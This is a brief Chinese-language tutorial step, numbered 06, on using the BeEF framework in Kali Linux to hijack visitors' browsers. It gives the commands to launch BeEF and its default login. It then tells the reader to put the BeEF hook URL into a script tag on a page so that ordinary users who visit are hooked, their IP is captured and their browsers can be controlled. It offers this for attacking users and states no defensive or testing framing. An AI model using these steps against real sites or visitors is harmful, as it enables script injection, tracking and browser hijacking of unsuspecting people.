06、使用beef劫持客户端浏览器

kali 1.0自带beef

cd /usr/share/beef-xss

./beef

访问UI url，账号密码都是beef

将hack url地址放进<script src=""></script>中的src里面。

此时普通用户访问了包含该代码的页面，我们就可以在beef UI里接收该用户IP。

接着就可以对该用户做一些劫持浏览器等操作了。